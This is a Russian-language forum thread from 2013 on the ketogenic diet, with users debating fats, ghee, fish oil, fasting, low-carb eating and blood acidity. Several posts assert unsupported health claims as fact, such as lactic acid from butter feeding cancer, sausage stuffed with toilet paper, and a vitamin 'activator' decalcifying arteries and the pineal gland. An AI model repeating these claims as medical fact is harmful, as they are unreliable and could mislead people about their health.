а сало у нас видно съедают не отходя от кассы

ну, это в степи...

А в моих магазинах кулинарный жир. бееее

Tamara 04-10-2013 03:58

Re: Кетогенная диета
 
Цитата:

Сообщение от Iosif (Сообщение 848473)
Интересно сколько масла для человека можно, а сколько это уже много?

Читала книгу о жирах на английском языке. Там была норма жиров - 1г на килограмм веса тела. Но жиры длжны быть натуральными (не транс-жыры, то есть маргарины) и не рафинированными.

allright 04-10-2013 15:56

Re: Кетогенная диета
 
Я думаю, что если человек способен сжигать за день, скажем, 500 гр жира, то и усваивать тоже должен быть способен.

Maksenek 04-10-2013 17:35

Re: Кетогенная диета
 
Цитата:

Сообщение от LadyTA (Сообщение 848567)
Получается кулинарный жир.

Как я раньше узнавал, т.н. "кулинарный жир" (а также "кондитерский жир") - это эвфемизмы гидрогенизированного жира, т.е. маргарина.

LadyTA 05-10-2013 03:31

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 848752)
Как я раньше узнавал, т.н. "кулинарный жир" (а также "кондитерский жир") - это эвфемизмы гидрогенизированного жира, т.е. маргарина.

наверное, это просто еще один вариант.

qaz 07-10-2013 03:45

Re: Кетогенная диета
 
Цитата:

Сообщение от LadyTA (Сообщение 848805)
наверное, это просто еще один вариант.

Конкурентно побеждает и присутствует в большинстве продуктов производимых кулинарией более дешевый маргарин, прочие жиры занимают маргинальные ниши.

Sun-Moon 07-10-2013 08:02

Re: Кетогенная диета
 
Не понимаю зачем есть маргарин или какое-то там масло с канцерогенами если есть чистое топленое масло или рыбий жир (хорошего качества)? Или есть иногда рыбу. Топленое масло хорошо добавлять к крупам. Никогда бы не стал есть масло магазинное.

Iosif 07-10-2013 14:33

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Moon (Сообщение 849234)
Не понимаю зачем есть маргарин

1. Цена -> маргарин дешевле. Большинство производителей продуктов и покупатели (из бедности) выбирают более дешевый продукт.
2. Нет холестерина, добавлены витамины (чисто рекламный трюк), но некоторые верят рекламе.

Iosif 07-10-2013 14:38

Re: Кетогенная диета
 
Цитата:

Сообщение от LadyTA (Сообщение 848567)
Свинину все хотят покупать с минимумом сала, а куда же его девать?

Так в колбасе, например в докторской, свиным жиром пропитана туалетная бумага (наполнитель) и добавлены ароматизаторы, усилители вкуса...
А на оберчтке честно написано - СВИНИНА!

qaz 07-10-2013 14:54

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Moon (Сообщение 849234)
если есть чистое топленое масло

Где, в Индии? В России в мегаполисах в магазинах не купишь, только самому делать ГХИ из дорогого сливочного, типа “FIN” (масло из коровьего молока кисло-сливочное (Изготовитель: АО “Валио”, Финляндия, Хельсинки) или “Вологодское” (масло сливочное вологодское (ФГУП “Учебно-опытный молочный завод” ВГМХА имени Н.В. Верещагина”, Россия, Вологда). В деревнях проще с топленым маслом, но большая часть населения живет в городах.
Цитата:

Сообщение от Sun-Moon (Сообщение 849234)
или рыбий жир (хорошего качества)

С этим еще сложнее. http://golodanie.su/forum/showpost.p...&postcount=208
Цитата:

Сообщение от Sun-Moon (Сообщение 849234)
Или есть иногда рыбу.

Дикую рыбу с различными паразитами, вирусами, бактериями (сальмонелла, листерия, E.coli., ......), ртутью, кадмием, свинцом, хромом, мышьяком, стронцием-90, ДДЕ, полихлорированными дифенилами или рыбу промышленного разведения с гормонами безвкусную и с еще большим количеством токсинов?

Iosif 07-10-2013 15:58

Re: Кетогенная диета
 
Цитата:

Сообщение от Bl_colonel (Сообщение 846741)
Во многих исследованиях районов долгожительства и самих долгожителей есть один интересный общий момент. (Именно нормальных научных исследованиях, а не всяких статьях и книжонках в интернете. Я прочёл исследования трёх учреждений - Киевского института геронтологии, Лондонской королевской школы питания (или типа того) и американского университета С. Каролины. Больше у меня ничего нет.
Так вот - общий интересный момент - во всех исследованных районах долгожительства питание аборигенов было триптофанодефицитным.


Цитата:

Сообщение от Bl_colonel (Сообщение 846741)
у аборигенов триптофанодефицитное питание с рождения

Читал о подобных исследованиях. Они касаются влияния калорийности питания на продолжительность жизни.

Максимальная продолжительность жизни была у мышей, которые недоедали в детстве и молодости (у тех что не померли на такой диете). Хотя и смертность на диете в молодом возрасте была довольно высокая. Связывается это с замедлением обменных процессов.
В среднем возрасте такая диета не привела к увеличению продолжительности жизни, а в старческом даже ее сократила.

Вместе с тем известно, что при засухах в Африке, на фоне недоедание умственное развитие у детей замедляется.

Так, что недоедание не панацея. А триптофанодефицитный тип питания в молодости вполне может увеличить продолжительность жизни определенного процента особей, которые этот период смогут пережить.

ArmStrong 07-10-2013 18:08

Re: Кетогенная диета
 
у меня вот такой возник вопрос по голоданию. Если при обычном "мокром" голодании позволить себе также пить или есть только масло или жир до утоления аппетита, белки и углеводы будучи полностью исключены, то что это даст через несколько дней? А если перевести на такой режим мышей или кошек? были ли такие эксперименты?
В случае с чисткой печени там пьют также и лимонный сок и делают это по принуждению, и на 1-2 дня.
Но есть масла которые вкусны на вкус, правда они дороже.

allright 07-10-2013 18:49

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 849321)
у меня вот такой возник вопрос по голоданию. Если при обычном "мокром" голодании позволить себе также пить или есть только масло или жир до утоления аппетита, белки и углеводы будучи полностью исключены, то что это даст через несколько дней? А если перевести на такой режим мышей или кошек? были ли такие эксперименты?
В случае с чисткой печени там пьют также и лимонный сок и делают это по принуждению, и на 1-2 дня.
Но есть масла которые вкусны на вкус, правда они дороже.

Сталкивался как-то давно с кадрами, которые во время ВГ употребляли оливковое масло. Если правильно помню, то это было вроде для стимуляции желчного и порции были не оч существенные.
Чисто теоретически, то организм в таком случае перестанет сжигать свой жир, но белок будет перерабатывать в глюкозу все равно с той же скоростью.

ArmStrong 07-10-2013 19:14

Re: Кетогенная диета
 
зачем белок, если организм способен перерабатывать жиры в глюкозу?

ut5im 07-10-2013 19:30

Re: Кетогенная диета
 
Глюкоза в углеводах.
Сало в шоколаде ели бы все тогда.Глицерин только в жире-остальное жирные кислоты.

allright 07-10-2013 19:35

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 849349)
зачем белок, если организм способен перерабатывать жиры в глюкозу?

Когда расщепляются собственные жиры, то при этом от их массы высвобождается примерно 10% глицерина, который может быть превращен в глюкозу. Остальная часть, жирные кислоты, в глюкозу превращены быть не могут. К примеру, во время голодания организм сжигает ха сутки 250 гр жира, это примерно 2300 кал, значит глицерина высвободится только 25 гр из которых получится примерно столько же глюкозы, . Небоходимый суточный минимум глюкозы, скажем, - 100 гр., значит оставшиеся 75 гр придется получить за счет утилизации белка. Если начать есть жиры, то тогда расщепление на жирные кислоты и глицерин будет происходить уже в кишечнике, но суть от этого, мне кажется, особо не поменяется.

ArmStrong 07-10-2013 21:41

Re: Кетогенная диета
 
Цитата:

Сообщение от sportswiki
Как только запасы углеводов преобразовались в необходимое количество гликогена, печень начинает перерабатывать их излишки в жир, который затем хранится под кожей и в других частях тела.
http://sportswiki.ru/%D0%A3%D0%B3%D0...BE%D0%B4%D1%8B

то есть это односторонний процесс?

А это камень в кетогенную диету :

Цитата:

Сообщение от sportswiki
Учеными достоверно установлено, что в случае, когда ненасыщенные жирные кислоты составляют от 10 до 15 процентов энергетической ценности ежедневного рациона, это приводит к ускорению восстановления, установлению положительного азотного баланса и усилению иммунитета. Однако, когда удельный вес жиров повышается до 30 процентов, и даже становится выше, эффект получается обратным - иммунитет падает, анаболизм ухудшается, усиливается усталость, падает репродуктивная функция и ускоряется процесс отложения жира.
http://sportswiki.ru/%D0%96%D0%B8%D1%80%D1%8B


qaz 08-10-2013 03:02

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 849321)
Если при обычном "мокром" голодании позволить себе также пить или есть только масло или жир до утоления аппетита, белки и углеводы будучи полностью исключены, то что это даст через несколько дней?

Несколько дней это сколько?
При монокетопитании, в отличии от ЛГ еще закрыт верхний путь очищения и остаются в теле токсины, которые упакованы в собственный жир. К тому же "собственный" жир бывает разный по происхождению. Наиболее энергетически ценен жир собственного производства из глюкозы.
Поставь эксперимент!
Цитата:

Сообщение от ArmStrong (Сообщение 849321)
Но есть масла которые вкусны на вкус, правда они дороже.

Какие?
Если и лопать жир, то лучше выбирать правильный рыбий жир.

allright 08-10-2013 06:35

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 849365)
то есть это односторонний процесс?

Немного криво они написали. Гликоген - это и есть запасы углеводов. Имелось ввиду, что когда пищевые углеводы уже превращены в гликоген, то начинается их отложение в жир, но это очень грубое объяснение. Во- первых, скорость синтеза гликогена ограничена и продолжается, после полного расхода, по убывающей в течении нескольких дней. Во-вторых, они забыли сказать, что поступающие с пищей углеводы могут замечательно расходоваться на текущие нужды организма, т. е. аэробное сжигание в мышцах и органах, мышечный гликоген же - это источник для "взрывной" силы, которая обеспечивается анаэробным гликолизом.
Правильнее было бы сказать, что когда скорость поступления углеводов превышает скорость расхода, тогда их излишки превращаются в жир.
Ну и таки да - процесс односторонний))
Цитата:

А это камень в кетогенную диету :
Ну это чисто с качковской точки зрения, т.к. для силы - жиры не топливо, это правда. Если на первом месте выносливость, тогда все может поменяться с точностью до наоборот.

Sun-Moon 08-10-2013 08:28

Re: Кетогенная диета
 
qaz, рыбу и рыбий жир я покупаю те, которые выловлены в наиболее чистых местах океана. Рыбий жир написано прошёл проверку на всевозможные вредные вещества и максимально сохранил свои свойства. Топленое масло покупаю английское в 2-х кг банках. Оно очень приятное на цвет и вкус. Но и сам делал из британского несолёного масла. Качество масла было хорошее, но сейчас лень замoрачиваться с кастрюлями, так что беру готовое.

qaz 08-10-2013 09:08

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Moon (Сообщение 849439)
рыбу и рыбий жир я покупаю те, которые выловлены в наиболее чистых местах океана.

На доверии? Или на анализ регулярно сдаешь? Какие наиболее чистые места океана?
Цитата:

Сообщение от Sun-Moon (Сообщение 849439)
Рыбий жир написано прошёл проверку на всевозможные вредные вещества и максимально сохранил свои свойства.

Бренд какой, расфасовка? Ссылку если можно....
Бутылка из какого материала?
Цитата:

Сообщение от Sun-Moon (Сообщение 849439)
Топленое масло покупаю английское в 2-х кг банках.

Те же вопросы, что бы в торговых сетях найти и попробовать.

Sun-Moon 08-10-2013 09:26

Re: Кетогенная диета
 
qaz,
Цитата:

На доверии? Или на анализ регулярно сдаешь? Какие наиболее чистые места океана?
Аляска, например. На доверии, домашней лаборатории у меня нет.

Цитата:

Бренд какой, расфасовка? Ссылку если можно....
Бутылка из какого материала?
http://www.iherb.com/Nature-s-Answer...oz-480-ml/7908

Цитата:

Те же вопросы, что бы в торговых сетях найти и попробовать
На Сириусе? Я беру в маленьких магазинах у индусов, а как начёт них на Сириусе не в курсе. Поспрашивай.
You can get it here, for example:
http://www.iherb.com/Purity-Farms-Or...oz-368-g/26860

reviews in Russian:
http://www.iherb.com/product-reviews...0/?p=1&revl=ru

авас 08-10-2013 10:55

Re: Кетогенная диета
 
А почему масло именно топленое, а не обычное?

qaz 08-10-2013 11:44

Re: Кетогенная диета
 
Цитата:

Сообщение от авас (Сообщение 849469)
А почему масло именно топленое, а не обычное?

Белок, вода. У ГХИ меньше требования к условиям хранения, меньше окисляется, удобно для трипа.

Sun-Moon 08-10-2013 11:50

Re: Кетогенная диета
 
Еще минус всякие примеси и при нагревании гхи не выделяет канцерогены. Идеальное масло для готовки

qaz 08-10-2013 13:12

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Moon (Сообщение 849446)

Цвет такого рыбьего жира темно-оранжевый?
Запах сильный?

Sun-Moon 08-10-2013 14:15

Re: Кетогенная диета
 
:-) Темно-оранжевый, но дело в том что туда добавляют натуральный экстракт цитрусовых, так что не совсем ясно почему такой цвет. Запах с цитрусом, пьётся нормально
Если уж хочешь купить наверняка ферментированный, как писала Птичка, то бери этот:
http://www.amazon.com/gp/product/B00...=wakitime09-20

(хотя не совсем понимаю почему надо именно ферментированный). И цена кусается. Но польза последнего еще в том что он якобы "декальцифицирует" артерии и пинеальную железу так как содержит какой-то Активатор Х, о котором писал Вестон Прайс.
http://wholehealthsource.blogspot.ie...tivator-x.html

Бегло прочитал, вроде как это какое-то сочетание витамин А, Д и К2. Которыми богаты только масле коров на травяном питании, их органах и в рыбей икре. Вот еще нашёл:
Цитата:

Activator X (Vitamin K1/K2):

Discovered by Weston Price, it is a super potent detoxifier, especially when mixed with Vitamin A and D3, and has many properties. It can reverse the process of arteriosclerosis, allowing the enzymatic balance to be restored. This then allows for the calcium to be removed from the arteries and other locations (i.e. pineal gland) and placed where it belongs, in the bone. It is also a potent catalyst for vitamin and mineral absorption.

The vitamin occurs naturally in two forms:
K1 (phylloquinone) is found in green leafy vegetables
K2 (comprised of menaquinones) is created by intestinal microflora and also obtained from food sources such as organ meats, liver (goose/chicken are best), egg yolks, fermented dairy products like cheese or butter (from cows eating rapidly growing green grass), Japanese fermented soybean dish Natto (the richest K2 food source), sauerkraut, marine oils, fish eggs and shellfish.

- See more at: http://www.wakingtimes.com/2012/12/1....OVLX0ojS.dpuf
Так вот якобы в этом рыбьем жире дофига и много этого активатора, но тогда выходит что его и в топленом масле тоже должно быть, но сколько не знаю

LadyTA 08-10-2013 14:34

Re: Кетогенная диета
 
Цитата:

Сообщение от авас (Сообщение 849469)
А почему масло именно топленое, а не обычное?

когда перетапливаешь масло, сверху собирается молочная кислота--любимая пища раковых клеток. Масло Гхи, интернет в помощь.

marla 08-10-2013 17:01

Re: Кетогенная диета
 
Нуууу милая, рак не кислоту любит, он любит углеводы-глюкоз. A Перетапливать надо тем, кто не может справится с белком молочным.

RomanK 08-10-2013 22:34

Re: Кетогенная диета
 
КОроче, давно не был, опять на инуитов "смотрел". По теме жизни на белке-жире. Живу так и дальше, углей жалкий минимум. По причине хренового стандартного качества продуктов попробовал добавлять рыбий жир в капсулах. Чего-то кишкам не понравилось. Твердые овощи в сыром виде (типа брокколи, цветной, редиски) тоже не идут никак с мясом. Утро бульон, 4 яйца. Обед: немного овощей с оливковым, авокадо, когда есть, рыба или мясо или птица, что повар сделает. Ужин: тоже самое 50 гр сала (сала мало было, экономил). Вечером белковый напиток и ложка кокосового масла, не всегда. В десять утра на перерыве пара слив, персик или ягод немного. Работа всяка разна, иногда физическая в холоде, иногда мозги кипят. Сон в основном, если народ нерву не треплет, то хороший. Вид, вроде ничего, тяжести подручные по-быстрому тягаю, гормон шибает как положено от упров. Все. Ощущения положительные, на разнообразие и всякие излишества не тянет. Хорошо или плохо, научно или нет, проверить не могу. Всем успехов. Пишите, кто практикует, задолбало читать базар по поводу "британские ученые"... и тд.

ArmStrong 08-10-2013 23:28

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 849391)
Цитата:
Сообщение от ArmStrong
Но есть масла которые вкусны на вкус, правда они дороже.

Какие?

.

например, масло какао (raw organic cacao butter, origin Peru) лежит уже месяц у меня в прохладном месте, приятно пахнет. Также вкусно масло из кедровых орехов или поджаренных орешков лещины http://fr.wikipedia.org/wiki/Noisette , рыжиковое масло. Ожидаю лишь зелёного цвета светофора, чтобы наесться ими вдоволь. Пока их не ем, пичкаю себя разной клетчаткой.
..., у меня есть и бюджетные соображения...

Sun-Moon 09-10-2013 08:12

Re: Кетогенная диета
 
RomanK,
Цитата:

Ощущения положительные, на разнообразие и всякие излишества не тянет. Хорошо или плохо, научно или нет, проверить не могу. Всем успехов. Пишите, кто практикует, задолбало читать базар по поводу "британские ученые"... и тд.
да все нормально. правда некоторые лет так через пять удивляются своим анализам. ты уже приводил такой пример на форуме.
"британские ученые..." из той же серии что и "доктор круз...". правда он не британец. а разбирать системы на пользу и вред надо. для того мы тут и тусуемся.

ArmStrong 10-10-2013 04:12

Re: Кетогенная диета
 
Цитата:

Сообщение от allright (Сообщение 849423)
...
Цитата:
А это камень в кетогенную диету :
.......


Ну это чисто с качковской точки зрения, т.к. для силы - жиры не топливо, это правда. Если на первом месте выносливость, тогда все может поменяться с точностью до наоборот.

этот сайт сам прямо об этом пишет. Моя же цитата касалась другого аспекта, а именно иммунитета и либидо, и вы ничего не сказали на этот счёт.
Тот же сайт в другой статье даёт несколько другую схему:
Цитата:

Сообщение от sportswiki
В целом спортсменам рекомендуется включать в рацион среднее количество жиров (около 30% от общего количества потребляемых калорий). Однако при большом объеме интенсивных тренировок возможно повышение данной цифры до 50%. Спортсменам, снижающим массу тела, рекомендуется употреблять от 0,5 до 1 г/кг/день.
Наибольших успехов в снижении веса и поддержании его на новом уровне добиваются люди, которые получают с пищей не более 40 г жиров в день, но это правило действует не всегда.

http://sportswiki.ru/%D0%96%D0%B8%D1%80%D1%8B

Иметь в виду что тот сайт даёт нормы для спортсменов, а не малоедов и голодальщиков.


Кстати на этом форуме неоднократно писалось что потребление жиров не ведёт к ожирению, в этом виноваты углеводы.

qaz 10-10-2013 06:56

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 849948)
Кстати на этом форуме неоднократно писалось что потребление жиров не ведёт к ожирению, в этом виноваты углеводы.

Много ли народу жиры монотрофно ест? Большинство ест кондитерку (сахароза+маргарин+пшеничная мука). Сахароза одновременно с жиром при переедании являются причиной ожирения.

allright 10-10-2013 09:41

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 849948)
этот сайт сам прямо об этом пишет. Моя же цитата касалась другого аспекта, а именно иммунитета и либидо, и вы ничего не сказали на этот счёт.
...
Иметь в виду что тот сайт даёт нормы для спортсменов, а не малоедов и голодальщиков.

Я уже 3.5 вроде года на низкоуглеводке и за это время только раз что называется "болел" - грипп, поголодал несколько дней. Если иногда переберу с фруктами, так наоборот, может отозваться дерматитом и дискомфртом в животе. Возможно, это индивидуально.
Вообще с ограничением углей чувствую себя лучше во всех смыслах и либидо в т. ч. Я ж не за идею так питаюсь.

Maksenek 10-10-2013 11:30

Re: Кетогенная диета
 
Цитата:

Сообщение от allright (Сообщение 850030)
Я уже 3.5 вроде года на низкоуглеводке

150 гр?

allright 10-10-2013 12:41

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 850087)
150 гр?

Как правило даже меньше. Иногда бывает съезжаю на большее количество, увлекусь чем-то сладким на пару-тройку дней, но быстро возвращаюсь назад. В спортзал сейчас не хожу, а на велике длинные интервалы кручу не так часто, поэтому особой потребности закрывать "углеводные окна" нету.

Sun-Moon 12-10-2013 09:02

Re: Кетогенная диета
 
Я бы следил за кислотностью на таком питании. Этот фактор очень даже значительный. Без защелачивающих продуктов скорее всего со временем будет повышена кислотность крови. Хотя организм конечно не допустит значительного закисления крови, но буферные системы не резиновые. И это никакая не аюрведа об этом говорит и не "британские ученые", как тут некоторые почему -то подумали, а самая обычная современная медицинская наука, на которую я и ссылался, хотя и первые тоже с такой точкой зрения согласны. Даже если это малоедение, то за счет чего происходит восстановление кислот-щел. баланса?

ЗЫ. Заглянул в данные по поводу 90-60-90... Для такого типажа малоедение само то.

rid 13-10-2013 01:44

Re: Кетогенная диета
 
Цитата:

Сообщение от RomanK (Сообщение 849630)
задолбало читать базар по поводу "британские ученые"... и тд.

А что малоуглеводка с кетонами для британских и не британских ученых вариант нормы - корова(парнокопытные) например тоже на малоуглеводке с кетонами(метаболиз в крови, в печени и тканях). Их простыми углеводами, хлебом например откармливать нельзя. В таком варианте питания важна хорошая работа печени по превращению жирных кислот в глюкозу и контролировать расходы энергии чтобы не было кетоза(ацидоза).

http://babcock.wisc.edu/node/134

qaz 13-10-2013 02:49

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Moon (Сообщение 850617)
Даже если это малоедение, то за счет чего происходит восстановление кислот-щел. баланса?

За счет дополнительной минерализации и оптимального подбора продуктов для кетодиеты.

Sun-Moon 13-10-2013 12:03

Re: Кетогенная диета
 
кето диета предполагает 70-80 процентов калорий из жира, около 20 протеин и минимум углеводов. закисление крови и нагрузка на буферные системы гарантированы. какая еще минерализация? боржоми пить? кето диета вообще вроде как рекомендована в случае каких-то серьезный заболеваний и только под наблюдением врача. фактически это один из видов терапии, а не развлечение

qaz 13-10-2013 12:59

Re: Кетогенная диета
 
Sun-Moon, а ты откинь социальные стереотипы приверженцев НУП и подумай какую терапевтическую кетодиту, ты придумал бы для себя, что бы закисляла по минимуму. Таблицы рН продуктов в помощь.

Sun-Moon 13-10-2013 14:10

Re: Кетогенная диета
 
Ну я то как раз об этом думал. С одной стороны звучит заманчиво - ешь минимум и тогда и закисление минимально. Но решится на такой опыт пока не могу. Хотя пробую есть салаты с сырой рыбой (сальмон из аляски) и пара фруктов, финики. Т.е. выходит не так много углеводов. Чувствую себя отлично. Но потом чисто под настроение хочется бурого риса с пророщенной чечевицей и гхи. Тоже хорошо. Так и думаю а зачем крайности эти? Высчитывать углеводы, заморачиваться? Зачем? Что это дает? На разном питании можно есть по настроению, по ощущению. Иногда хочется чего-то теплого, иногда жирной рыбы, иногда фрукты и крупы, иногда и блинов напечь с овощами. Разницы никакой для меня. Никогда не обьедаюсь. Главное чтобы было вкусно. Ну а есть регулярно только животное? Надо искать качественное мясо или самому заводить скотинку. Не всегда есть деньги на такое питание, так как у меня масса других расходов на разные увлечения. Вобщем удобнее мне на разном питании. Да и по вкусовым критериям хочется разности вкусов.
Все таки животная пища и жиры закисляют, для щелочной крови надо 80 процентов растительной пищи - фрукты и овощи, крупы. А 20 на животную. IMHO
КРОМЕ ТОГО кетоз вроде как создаёт нагрузку на печень и надпочечники. А зачем это надо? Про химию мозга я уже писал немного. Не все так просто в это схеме. Угли должны быть нашим главным топливом. Нет углей - мало серотонина, а это главный гормон удовольствия от жизни ;)

qaz 13-10-2013 14:39

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Moon (Сообщение 850943)
На разном питании можно есть по настроению, по ощущению. Иногда хочется чего-то теплого, иногда жирной рыбы, иногда фрукты и крупы, иногда и блинов напечь с овощами. Разницы никакой для меня. Никогда не обьедаюсь. Главное чтобы было вкусно.

При зависимости от вкусьненького и пристрастии к еде радикальные эффективные кето варианты не подойдут. "Кишка тонка, не вытянет."
Цитата:

Сообщение от Sun-Moon (Сообщение 850943)
Ну а есть регулярно только животное? Надо искать качественное мясо или самому заводить скотинку. Не всегда есть деньги на такое питание, так как у меня масса других расходов на разные увлечения.

Можно кето и без животного продукта или с минимумом (рыбий жир, ГХИ).

Sun-Moon 13-10-2013 14:48

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 850947)
При зависимости от вкусьненького и пристрастии к еде радикальные эффективные кето варианты не подойдут. "Кишка тонка, не вытянет."

Можно кето и без животного продукта или с минимумом (рыбий жир, ГХИ).

Какие еще при-страстия? Обычный здоровый аппетит здорового человека. Для меня в еде главное правило чтобы было вкусно. Именно вкус продецирует пищеварение и здоровое переваривание. Если у вас с этим проблемы то вероятно проблема именно в том что еда постная на вкус и вы не можете ее усвоить полностью по этой причине. Одна из причин почему люди сваливаются с СМЕ. Зачем мне слушать всякие бредни больных людей?

Про кетоз я уже написал причины почему это вредно. Зачем мне варианты жирноедения, что это даёт такого что затмевает его отрицательную сторону?

qaz 13-10-2013 15:00

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Moon (Сообщение 850949)
Именно вкус продецирует пищеварение и здоровое переваривание. Если у вас с этим проблемы то вероятно проблема именно в том что еда постная на вкус и вы не можете ее усвоить полностью по этой причине.

Стереотипно мыслишь. Съешь таблетку глюкозы, без аппетита. Она усвоится? :smirk:

Sun-Moon 13-10-2013 15:22

Re: Кетогенная диета
 
qaz, Нифига не стереотип. Научный факт. Собаки Павлова не дадут соврать. Выделение желуд. сока начинается еще до попадания пищи в желудок. Уже сам вид пищи явл-ся началом процесса переваривания. Углеводная пища так начинает перевариваться еще во рту. Проглоти ее без смачивания слюной и она плохо усвоится. Потому рекомендуют пищу хорошо жевать. У меня по крайней мере проблем с перевариванием нет. Правда тяжесть бывает иногда после, например, блинов или картошки жареной с грибами. Но вкус все компенсирует. Наедаюсь на много часов вперед. Благо часто такого не ем. Блюдоманская привычка. Просто такая пища иногда нужна, когда хочется именно теплого и маслянистого. Я исхожу из ощущений более чем из логики белков или углеводов.
Я уже написал что исхожу из того что избыток животной пищи вреден и в любом случае нужна другая пища. Но такие вредности благо часто не ем. Думаю вот попробовать сыроедение. Оставив иж животного только рыбу, рыбий жир и гхи. Вроде палео, но углеводное с фруктами и овощами.

allright 13-10-2013 18:03

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Moon (Сообщение 850617)
ЗЫ. Заглянул в данные по поводу 90-60-90... Для такого типажа малоедение само то.

Это про кого?

Sun-Moon 13-10-2013 18:43

Re: Кетогенная диета
 
про мужика одного с 192 - 93

qaz 14-10-2013 03:00

Re: Кетогенная диета
 
to Sun-Moon
Нажмите тут для просмотра всего текста
Цитата:

Сообщение от Sun-Moon (Сообщение 850955)
Правда тяжесть бывает иногда после, например, блинов или картошки жареной с грибами. Но вкус все компенсирует. Наедаюсь на много часов вперед. Благо часто такого не ем. Блюдоманская привычка. Просто такая пища иногда нужна, когда хочется именно теплого и маслянистого. Я исхожу из ощущений более чем из логики белков или углеводов.
Я уже написал что исхожу из того что избыток животной пищи вреден и в любом случае нужна другая пища. Но такие вредности благо часто не ем. Думаю вот попробовать сыроедение. Оставив иж животного только рыбу, рыбий жир и гхи. Вроде палео, но углеводное с фруктами и овощами.

Понятны твои препирательства. Опыта положительного у тебя нет в малоедении и чревоугодие развито.
Вот когда такой положительный опыт обретешь
Цитата:

Сообщение от Sun-Moon (Сообщение 850940)
Тким образом можно переходить на ЭФФЕКТИВНОЕ малоедение - это когда наедаются и ложкой гхи и парой фруктов. Но люди те не совсем простые, они живут по другим принципам.

тогда будет возможно общение другого уровня.
Только пару фруктов выбирай не очень больших, например, как бахчевые или джекфрут, а то не будет похоже на малоедение. )))
http://1001fact.ru/2011/11/samye-bol...shhi-i-frukty/
Пара дикорастущих яблок вполне подойдет.

allright 14-10-2013 12:50

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Moon (Сообщение 850992)
про мужика одного с 192 - 93

И ты хочешь чтобы я малоедил? И так одежду фиг найдешь - либо широкое, либо короткое. Если я похудею, то буду выглядеть как недокормленный хипстер. Спасибо канеш, но я это не мое:D

Sun-Moon 14-10-2013 13:55

Re: Кетогенная диета
 
qaz,
Нажмите тут для просмотра всего текста
ой, ты меня пристыдил. я не считаю что смешивать скажем около 150 г хорошей муки с морковкой и яблоками тертыми и подержать это на огне пару минут явл-ся чревоугодием. Уж куда более чревоугодно - это есть сырой фарш. Так шо я тут как ангел. Агнец божий. :4u: Тем более что ем я такое не более раза в пару недель. Обычно рис с чечевицей в холодное время. Читай классику жанра "Хатха Йога прадипика". Там все написано.
А свои сырые яблоки ешь сам. Только у тебя от них скоро начнется какой-нибудь перегиб в здоровье. Но я настаивать не буду на этом, живи и цвети.
Ты кствти чем нибудт занимаешься по жизни вообще, кроме поедания яблок и брюквы, а? Мышцу себе яблочную отрастил?


ArmStrong 15-10-2013 04:22

Re: Кетогенная диета
 
а при масляных клизмах масло усваивается и как? уменьшается ли при этом нагрузка на печень?

kukunja 15-10-2013 10:39

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Moon (Сообщение 851129)
qaz,
Нажмите тут для просмотра всего текста
... Уж куда более чревоугодно - это есть сырой фарш...

Если рассматривать чревоугодие как угождать чреву, то бишь идти на поводу вкусов, то что-то сомнительно, что сырой фарш это вкусно. Я хоть и сижу на жирах и мясе, но как то не могу есть сырое (из сврого только пока сало, да рыба соленая).
Если рассматривать чисто как угождать чреву (желудку, ЖКТ) исходя из комфортного пищеварения, то тут дело каждого: если у тебя комфортное пищеварения на морковке или на мясе - да хоть на чем, то ты уже чревоугодник. И при понятии как чревоугодие - обжорство, тут вообще смысл теряется: для кого-то 12 унций еды (сухого веса) норма и 13 унция уже обжорство, а для кого-то и больший объем пищи усваивается комфортно без проблем. Получается, что не чревоугодники, это те кто служат или питается на казенных харчах: ест что дадут и ту норму какую дают и не важно наелся или нет.

qaz 15-10-2013 10:57

Re: Кетогенная диета
 
kukunja, чревоудие - обжорство по количеству еды, по асортименту, по частоте приемов пищи сверх необходимой. Не всякий может стать "праноедом", но малоедное СМЕ от голода до голода, невзирая на аппетит, каждому по силам, если заставить. )))

Свеклуша 15-10-2013 11:01

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 851308)
от голода до голода, невзирая на аппетит

qaz, а как ты отличаешь голод от аппетита?
У каждого же свои критерии)))

qaz 15-10-2013 11:32

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Moon (Сообщение 851129)
qaz,
Нажмите тут для просмотра всего текста
ой, ты меня пристыдил. я не считаю что смешивать скажем около 150 г хорошей муки с морковкой и яблоками тертыми и подержать это на огне пару минут явл-ся чревоугодием. Уж куда более чревоугодно - это есть сырой фарш. Так шо я тут как ангел. Агнец божий. :4u: Тем более что ем я такое не более раза в пару недель. Обычно рис с чечевицей в холодное время. Читай классику жанра "Хатха Йога прадипика". Там все написано.
А свои сырые яблоки ешь сам. Только у тебя от них скоро начнется какой-нибудь перегиб в здоровье. Но я настаивать не буду на этом, живи и цвети.
Ты кствти чем нибудт занимаешься по жизни вообще, кроме поедания яблок и брюквы, а? Мышцу себе яблочную отрастил?

to Sun-Moon
Нажмите тут для просмотра всего текста
Яблочная мышца хороша, мяса не требует, тебе на зависть. :D Биосинтез внутренний рулит! После продолжительного голода приходится мышцы отращивать. Ты не голодаешь, поэтому не знаешь.
Перегибами в здоровье ты лучше практикующих бигу шичи и йогов перешагнувших 100 летний рубеж, пугай. У них диета тоже более скромная чем твоя. :lol:

qaz 15-10-2013 11:50

Re: Кетогенная диета
 
Цитата:

Сообщение от Свеклуша (Сообщение 851310)
